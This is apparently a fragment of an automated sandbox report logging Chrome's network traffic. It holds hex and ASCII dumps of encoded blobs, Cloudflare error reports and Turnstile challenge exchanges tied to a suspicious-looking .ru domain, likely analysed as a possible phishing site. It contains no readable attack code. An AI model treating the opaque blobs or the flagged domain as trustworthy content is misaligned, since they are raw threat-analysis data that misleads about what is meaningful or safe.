6a 77 4b 79 55 4b 2f 69 2f 39 4c 41 4d 7a 41 55 41 48 4e 77 55 4a 43 7a 73 49 53 41 38 2f 44 42 45 54 51 78 41 71 46 30 63 55 4d Data Ascii: KIm1RWZ2tveYNgdnaXelunqWmYp4JuY42mtKCPsbijp6qcvr+Ivox8gpqZf5Z6nbPFwoStr4rDvJuylZ+pwsK1lLyWltnb1Ky1t8XP5KjTwuW2w8DZ5dHowPDgwMbztLLo3di27wLw7P62xL7B8NbeBOAMAtfq3gbz3+oV89HQ6/ANE/j2EQLwGhblDxXk8ygNDuQZCR4T8fwlLugnCzjwKyUK/i/9LAMzAUAHNwUJCzsISA8/DBETQxAqF0cUM
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 54 6c 48 64 2f 66 6d 47 64 6b 61 6d 53 65 57 6d 4c 66 71 4b 64 69 61 69 30 68 70 5a 32 63 61 4b 6d 6a 48 47 36 6d 5a 4f 38 6b 4b 6d 4d 6d 6e 2b 6a 6c 4c 4f 49 6e 4b 6d 59 6f 37 65 66 70 59 61 67 73 4c 36 51 70 36 4c 4c 6a 39 69 69 31 64 76 4c 31 35 71 62 34 4b 44 68 72 72 6e 50 31 5a 72 53 79 37 50 6c 75 74 61 33 32 64 4c 53 75 37 50 6b 31 72 2b 33 2b 4e 72 44 75 38 58 57 30 67 44 53 38 37 76 33 2f 64 48 54 77 39 6a 56 2b 74 34 42 31 76 33 6a 2f 63 2f 64 44 74 49 54 45 50 49 53 30 65 63 47 31 41 37 35 33 52 33 36 41 66 54 2b 45 66 63 54 43 42 38 67 43 66 73 68 45 43 45 69 4b 43 51 6b 42 52 54 79 4a 53 54 33 39 68 45 30 4e 76 77 71 49 52 51 67 44 7a 49 6e 4e 52 73 32 42 69 4e 43 52 6b 59 75 4f 53 39 4b 56 54 34 50 53 6a 4d 36 54 68 64 54 50 68 5a 4e 48 44 Data Ascii: TlHd/fmGdkamSeWmLfqKdiai0hpZ2caKmjHG6mZO8kKmMmn+jlLOInKmYo7efpYagsL6Qp6LLj9ii1dvL15qb4KDhrrnP1ZrSy7Pluta32dLSu7Pk1r+3+NrDu8XW0gDS87v3/dHTw9jV+t4B1v3j/c/dDtITEPIS0ecG1A753R36AfT+EfcTCB8gCfshECEiKCQkBRTyJST39hE0NvwqIRQgDzInNRs2BiNCRkYuOS9KVT4PSjM6ThdTPhZNHD
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 71 57 4a 35 6d 61 31 6d 66 5a 35 2f 72 6f 78 72 73 35 42 77 67 5a 4f 32 75 58 4f 78 71 5a 61 73 6d 72 6d 43 76 5a 6d 57 67 72 65 53 6f 4a 37 48 76 70 75 2b 77 38 61 63 78 59 7a 53 6e 39 62 50 77 63 4f 34 32 4d 79 79 74 4f 43 79 74 39 62 4e 77 4c 50 56 32 4e 61 69 36 62 72 65 33 2b 2f 6a 71 73 75 36 75 38 54 69 73 4c 54 47 72 37 48 6a 36 62 7a 58 37 74 51 41 41 67 51 42 38 67 43 2b 30 65 45 44 39 50 62 64 44 38 30 41 44 42 45 44 34 78 49 59 45 76 66 72 44 4f 37 34 37 75 77 63 2b 4f 34 65 4a 66 54 35 4b 42 76 38 47 4f 4d 67 49 66 67 51 43 41 38 4f 42 7a 4d 79 37 42 49 6f 4d 7a 41 36 50 44 6b 58 43 54 48 2b 4e 42 4d 77 4e 42 49 6f 42 7a 6f 72 48 43 6f 74 53 52 6c 41 49 6b 59 66 44 41 77 49 55 6a 6b 53 56 45 55 31 54 78 6f 65 4b 55 38 74 49 42 73 58 56 45 55 Data Ascii: qWJ5ma1mfZ5/roxrs5BwgZO2uXOxqZasmrmCvZmWgreSoJ7Hvpu+w8acxYzSn9bPwcO42MyytOCyt9bNwLPV2Nai6bre3+/jqsu6u8TisLTGr7Hj6bzX7tQAAgQB8gC+0eED9PbdD80ADBED4xIYEvfrDO747uwc+O4eJfT5KBv8GOMgIfgQCA8OBzMy7BIoMzA6PDkXCTH+NBMwNBIoBzorHCotSRlAIkYfDAwIUjkSVEU1TxoeKU8tIBsXVEU
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 34 47 6b 69 70 79 75 6c 58 39 32 6f 48 61 78 63 37 43 4d 6e 72 79 71 6a 5a 61 76 75 5a 57 39 6f 70 31 2b 77 35 57 57 79 49 79 46 76 61 47 76 30 4d 69 7a 6f 4e 4c 57 77 70 48 61 79 35 57 70 76 70 6a 55 73 74 75 35 34 39 48 42 6e 72 6e 71 34 4d 61 39 34 63 4b 2f 70 38 54 47 36 73 2f 44 34 72 4c 34 74 38 7a 30 37 39 36 30 74 62 66 59 79 75 76 6b 38 64 34 48 32 73 54 6c 42 67 58 66 79 50 76 50 2f 4f 38 51 37 74 45 4a 47 65 48 56 36 64 62 72 48 4f 7a 77 47 74 37 75 47 4f 2f 58 38 78 30 45 34 76 6b 63 4c 75 62 39 49 54 4c 71 41 69 49 32 37 67 59 6e 43 44 63 56 38 7a 77 5a 2b 41 6f 63 50 30 4c 37 4f 6a 49 68 48 44 51 59 47 54 77 39 48 53 46 4d 51 79 42 50 53 45 73 68 52 68 46 58 49 31 41 36 53 79 78 66 4c 42 63 32 50 57 4d 6a 5a 69 5a 57 49 32 56 44 48 6b 68 6c Data Ascii: 4GkipyulX92oHaxc7CMnryqjZavuZW9op1+w5WWyIyFvaGv0MizoNLWwpHay5WpvpjUstu549HBnrnq4Ma94cK/p8TG6s/D4rL4t8z07960tbfYyuvk8d4H2sTlBgXfyPvP/O8Q7tEJGeHV6dbrHOzwGt7uGO/X8x0E4vkcLub9ITLqAiI27gYnCDcV8zwZ+AocP0L7OjIhHDQYGTw9HSFMQyBPSEshRhFXI1A6SyxfLBc2PWMjZiZWI2VDHkhl
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 52 2b 69 49 4f 48 64 61 57 56 6b 4b 36 6f 6b 4b 4b 4c 6d 36 79 30 68 62 6e 43 73 61 66 41 69 4a 65 65 6e 4a 43 70 6e 4d 53 73 6f 4d 54 56 32 61 2b 78 6d 39 54 59 30 5a 36 5a 7a 64 66 64 76 65 58 6c 79 4a 36 38 6f 4d 4f 33 35 73 76 62 32 74 4c 65 30 4f 66 73 35 75 4c 6c 37 39 6e 50 36 37 7a 54 78 39 50 33 33 2f 37 35 31 64 4f 2b 31 74 6a 6b 79 73 6a 6c 35 2f 6e 59 2f 75 77 53 31 4f 41 59 43 2b 48 6a 44 65 67 49 46 52 6e 62 49 64 4d 51 2f 50 77 44 32 50 44 7a 47 74 77 62 41 43 7a 6b 48 78 6f 4f 38 69 50 78 4d 50 59 6e 39 66 6a 36 4b 2f 6b 53 2f 69 2f 39 4c 41 4d 7a 41 55 41 48 4e 77 55 4a 43 7a 73 49 53 41 38 2f 44 42 45 54 51 78 41 71 46 30 63 55 4d 78 6b 54 57 45 67 37 49 46 39 55 49 53 4e 51 52 79 46 61 59 31 52 4c 62 53 78 45 62 54 35 78 5a 32 4a 6c 61 Data Ascii: R+iIOHdaWVkK6okKKLm6y0hbnCsafAiJeenJCpnMSsoMTV2a+xm9TY0Z6ZzdfdveXlyJ68oMO35svb2tLe0Ofs5uLl79nP67zTx9P33/751dO+1tjkysjl5/nY/uwS1OAYC+HjDegIFRnbIdMQ/PwD2PDzGtwbACzkHxoO8iPxMPYn9fj6K/kS/i/9LAMzAUAHNwUJCzsISA8/DBETQxAqF0cUMxkTWEg7IF9UISNQRyFaY1RLbSxEbT5xZ2Jla
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 31 72 4a 69 54 72 35 79 53 73 70 72 44 66 36 65 45 77 36 53 32 6c 71 48 45 75 4b 47 71 73 4b 2f 45 79 63 53 73 30 4e 44 49 75 4a 4f 32 76 4c 76 51 34 4e 62 45 77 65 47 2b 32 72 58 47 70 4e 76 56 33 75 36 6e 76 38 2f 4d 30 62 32 79 73 2b 58 50 31 63 76 79 35 4f 33 74 2b 75 44 4d 37 41 44 6c 42 51 6a 34 30 75 6e 36 36 75 44 32 32 77 7a 64 35 76 45 48 79 76 58 6d 37 51 62 77 2b 41 66 59 36 75 38 57 45 76 33 67 2b 2f 59 69 42 78 59 6c 33 78 54 7a 41 41 41 6d 4b 79 77 61 36 4f 55 4b 4d 77 63 30 42 42 48 78 45 66 59 49 45 41 6a 32 49 69 77 4e 4d 42 38 62 51 51 49 6e 4f 68 73 5a 4c 78 77 6d 4c 69 4d 78 52 30 49 75 4b 53 35 47 4d 54 6c 48 47 53 67 79 4d 6c 4a 5a 51 7a 35 55 58 46 6c 54 57 57 55 30 4a 43 73 6f 51 44 42 41 4b 54 78 55 4d 31 4e 66 53 55 35 74 51 30 Data Ascii: 1rJiTr5ySsprDf6eEw6S2lqHEuKGqsK/EycSs0NDIuJO2vLvQ4NbEweG+2rXGpNvV3u6nv8/M0b2ys+XP1cvy5O3t+uDM7ADlBQj40un66uD22wzd5vEHyvXm7Qbw+AfY6u8WEv3g+/YiBxYl3xTzAAAmKywa6OUKMwc0BBHxEfYIEAj2IiwNMB8bQQInOhsZLxwmLiMxR0IuKS5GMTlHGSgyMlJZQz5UXFlTWWU0JCsoQDBAKTxUM1NfSU5tQ0
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 78 4c 2b 62 66 4c 33 41 6c 38 57 2f 74 34 79 68 6f 72 43 66 79 6f 2b 6b 30 5a 4b 6c 72 72 71 6a 6d 38 6a 53 75 4f 44 62 74 35 6a 5a 76 64 33 5a 32 39 4f 6f 76 62 37 4d 75 2b 61 72 71 4f 58 6f 35 72 33 48 73 74 66 4b 35 4e 50 37 2b 76 65 31 30 4d 6f 41 75 4d 48 31 31 51 51 42 38 75 54 32 36 67 63 4d 41 50 73 4b 33 39 33 6c 43 78 55 4a 37 76 45 4d 46 50 77 65 47 64 73 4a 44 2f 48 35 46 51 50 78 33 50 59 6e 34 52 6f 43 36 4f 6b 6e 39 78 38 75 43 42 55 51 39 43 67 43 49 78 72 34 45 51 55 4f 4e 53 67 53 4c 78 4a 46 41 66 63 63 4f 6a 55 4b 52 6a 73 6d 42 44 6b 72 53 52 30 52 54 68 4e 41 46 52 49 6a 4c 6a 77 78 58 6c 67 76 56 54 49 38 51 31 6f 2b 51 54 77 32 52 45 74 71 57 56 56 6b 57 46 78 67 63 43 70 64 63 6e 42 49 51 6b 35 79 4f 58 55 30 55 46 5a 4c 56 31 42 Data Ascii: xL+bfL3Al8W/t4yhorCfyo+k0ZKlrrqjm8jSuODbt5jZvd3Z29Oovb7Mu+arqOXo5r3HstfK5NP7+ve10MoAuMH11QQB8uT26gcMAPsK393lCxUJ7vEMFPweGdsJD/H5FQPx3PYn4RoC6Okn9x8uCBUQ9CgCIxr4EQUONSgSLxJFAfccOjUKRjsmBDkrSR0RThNAFRIjLjwxXlgvVTI8Q1o+QTw2REtqWVVkWFxgcCpdcnBIQk5yOXU0UFZLV1B
2024-12-09 23:06:42 UTC	1369	IN	Data Raw: 4c 65 57 71 70 6d 4d 78 4d 54 48 6e 4a 32 50 6a 71 65 75 32 4b 32 72 32 73 33 58 6c 61 66 51 30 4e 6a 56 6f 39 44 6e 35 71 54 68 75 39 33 59 72 65 6e 65 79 61 66 63 7a 75 7a 41 74 50 47 32 34 37 69 31 78 74 48 66 31 41 4c 36 77 66 58 54 34 62 2f 78 35 38 49 44 32 63 59 45 2b 4f 54 65 7a 39 44 64 37 41 7a 6d 34 2f 50 59 42 39 62 71 45 66 58 76 32 74 34 4c 48 50 59 57 34 52 51 48 34 50 4c 32 44 65 30 67 42 7a 44 77 43 42 51 51 4d 69 4d 67 4a 77 6f 4f 4c 52 77 61 39 42 41 2f 4e 78 45 61 52 68 34 52 47 68 63 36 4b 6b 30 4d 53 69 49 36 4d 69 46 51 50 54 55 79 52 42 49 6c 46 30 6b 4f 47 79 67 6f 51 44 45 67 51 56 59 78 57 57 52 58 61 43 42 55 4b 56 6c 6a 4c 43 4a 64 4c 7a 77 2f 52 54 4a 6e 54 31 49 78 55 6c 78 2b 65 6d 74 6f 62 31 4a 57 64 57 52 53 50 56 69 48 Data Ascii: LeWqpmMxMTHnJ2Pjqeu2K2r2s3XlafQ0NjVo9Dn5qThu93YreneyafczuzAtPG247i1xtHf1AL6wfXT4b/x58ID2cYE+OTez9Dd7Azm4/PYB9bqEfXv2t4LHPYW4RQH4PL2De0gBzDwCBQQMiMgJwoOLRwa9BA/NxEaRh4RGhc6Kk0MSiI6MiFQPTUyRBIlF0kOGygoQDEgQVYxWWRXaCBUKVljLCJdLzw/RTJnT1IxUlx+emtob1JWdWRSPViH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49752	35.190.80.1	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:41 UTC	534	OUT	OPTIONS /report/v4?s=zq3rFptvME5qTeoKQxEbxJCwYERKArlkqjVqUsQGWX5CkCaZnEFNhvJy%2Bu6HOdC%2B16aKQEb7X1WfbX66Zxf4rabLugrdzj31gShryP4vKzaHX2ibDeQRlnMj7VCuZA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://wfdd.htqeuifpr.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:42 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 09 Dec 2024 23:06:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49758	35.190.80.1	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:43 UTC	474	OUT	POST /report/v4?s=zq3rFptvME5qTeoKQxEbxJCwYERKArlkqjVqUsQGWX5CkCaZnEFNhvJy%2Bu6HOdC%2B16aKQEb7X1WfbX66Zxf4rabLugrdzj31gShryP4vKzaHX2ibDeQRlnMj7VCuZA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 430 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:43 UTC	430	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 33 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 77 66 64 64 2e 68 74 71 65 75 69 66 70 72 2e 72 75 2f 72 4e 6e 34 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 34 2e 31 35 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":0,"body":{"elapsed_time":338,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://wfdd.htqeuifpr.ru/rNn4/","sampling_fraction":1.0,"server_ip":"172.67.214.152","status_code":404,"type":"http.error"},"type":"network-error"
2024-12-09 23:06:44 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 09 Dec 2024 23:06:43 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49759	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:43 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:44 UTC	379	IN	HTTP/1.1 404 Not Found Date: Mon, 09 Dec 2024 23:06:44 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: R7ePJkUs/dN8lDrA5o1ynOF3pyo2i9OohoE=$0qmmkom93GD1YDuZ Server: cloudflare CF-RAY: 8ef8a5ba793c435d-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:44 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49760	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:44 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8ef8a58f8fb7c32b/1733785601830/41dd0e98ab7a2936b7497e572c306edab0b4dd921b4bb87bfb765f5e9234b2ed/q59F5pnqC61ChKf HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:44 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 09 Dec 2024 23:06:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-09 23:06:44 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 51 64 30 4f 6d 4b 74 36 4b 54 61 33 53 58 35 58 4c 44 42 75 32 72 43 30 33 5a 49 62 53 37 68 37 2d 33 5a 66 58 70 49 30 73 75 30 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gQd0OmKt6KTa3SX5XLDBu2rC03ZIbS7h7-3ZfXpI0su0AGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-09 23:06:44 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49766	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:46 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef8a58f8fb7c32b/1733785601830/V5veeFNqsgkcgGx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:46 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:46 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef8a5c8ebfd0f71-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:46 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 24 08 02 00 00 00 b5 d9 a5 ed 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR=$IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49772	104.18.94.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:47 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8ef8a58f8fb7c32b/1733785601830/V5veeFNqsgkcgGx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:48 UTC	200	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 23:06:48 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ef8a5d40d0a7cfc-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 23:06:48 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3d 00 00 00 24 08 02 00 00 00 b5 d9 a5 ed 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR=$IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49773	104.18.95.41	443	4292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 23:06:48 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1335793016:1733771998:3avIQcPy4EiUdg7zUMFs2C6dHrRFD8w5Dr-egB8X9SQ/8ef8a58f8fb7c32b/9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 31355 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 9PRLONVT86JiwqOL7iNrcfSin_PHVCgLbzXLm9aB8P8-1733785597-1.1.1.1-BVJzqMD9YxGleexvl7UQj309yu0VcJNDJcs22pQh3nKZHYPtXVZ9..gI27CzUlx8 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/66847/0x4AAAAAAA0q5dJB-oRzPFUW/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 23:06:48 UTC	16384	OUT	Data Raw: 76 5f 38 65 66 38 61 35 38 66 38 66 62 37 63 33 32 62 3d 48 41 34 66 56 65 36 4d 73 65 73 7a 41 35 4d 33 43 70 35 5a 66 66 4e 66 30 78 63 6c 62 45 55 35 6e 48 35 6a 62 36 33 36 42 48 35 48 66 78 65 69 36 56 35 6a 78 64 4f 58 78 35 37 30 35 63 62 34 4a 43 35 30 72 59 66 66 35 67 66 64 7a 41 4e 30 34 62 65 65 35 4d 78 63 50 35 38 53 45 73 6c 35 58 62 65 72 35 63 6b 78 36 50 52 45 35 35 4d 35 6c 46 5a 37 35 77 46 66 36 24 35 38 70 66 58 78 50 4f 4b 78 35 72 35 36 70 70 6f 4b 55 35 48 73 66 72 36 34 35 6d 74 6b 72 6a 63 38 58 34 59 30 59 52 4b 53 58 35 65 33 6a 43 6b 64 53 66 6f 38 58 77 30 6b 72 7a 67 65 7a 52 55 24 41 72 6e 73 31 65 35 65 45 77 36 52 57 35 79 34 35 6c 67 2d 62 30 68 67 4d 49 33 4e 64 35 38 74 77 77 6a 34 6d 61 33 51 48 4c 78 43 59 73 37 58 Data Ascii: v_8ef8a58f8fb7c32b=HA4fVe6MseszA5M3Cp5ZffNf0xclbEU5nH5jb636BH5Hfxei6V5jxdOXx5705cb4JC50rYff5gfdzAN04bee5MxcP58SEsl5Xber5ckx6PRE55M5lFZ75wFf6$58pfXxPOKx5r56ppoKU5Hsfr645mtkrjc8X4Y0YRKSX5e3jCkdSfo8Xw0krzgezRU$Arns1e5eEw6RW5y45lg-b0hgMI3Nd58twwj4ma3QHLxCYs7X
2024-12-09 23:06:48 UTC	14971	OUT	Data Raw: 65 6f 35 75 35 30 35 2d 30 35 35 64 61 56 37 6a 35 63 73 35 31 30 30 35 74 6f 73 35 4d 4c 67 41 35 64 35 63 43 35 55 35 56 62 4a 4f 4a 62 35 38 35 63 32 31 32 76 78 35 6a 75 64 66 36 30 35 6c 35 64 30 35 7a 35 39 35 64 74 6a 45 35 45 73 4a 69 35 31 35 30 62 30 75 35 4e 4e 6d 62 45 68 62 75 35 6d 66 36 55 35 49 35 34 78 4a 43 36 53 35 4d 53 4a 55 36 77 35 48 78 64 30 35 2b 35 79 78 30 7a 35 73 35 45 66 63 35 36 6e 35 45 62 35 4d 35 67 35 4a 24 35 57 35 4b 66 36 78 36 72 66 32 35 30 35 35 55 36 79 35 4c 4d 63 35 36 4f 62 45 57 4a 67 36 4f 62 4d 66 36 72 66 39 73 6a 34 63 35 36 53 35 49 62 65 62 66 57 66 6a 66 64 41 63 45 35 79 31 30 59 35 63 35 30 62 65 43 65 6b 35 45 68 59 62 66 4c 35 42 66 52 72 66 37 35 4d 73 63 35 35 39 73 4c 78 52 30 63 36 35 67 66 79 Data Ascii: eo5u505-055daV7j5cs51005tos5MLgA5d5cC5U5VbJOJb585c212vx5judf605l5d05z595dtjE5EsJi5150b0u5NNmbEhbu5mf6U5I54xJC6S5MSJU6w5Hxd05+5yx0z5s5Efc56n5Eb5M5g5J$5W5Kf6x6rf25055U6y5LMc56ObEWJg6ObMf6rf9sj4c56S5IbebfWfjfdAcE5y10Y5c50beCek5EhYbfL5BfRrf75Msc559sLxR0c65gfy
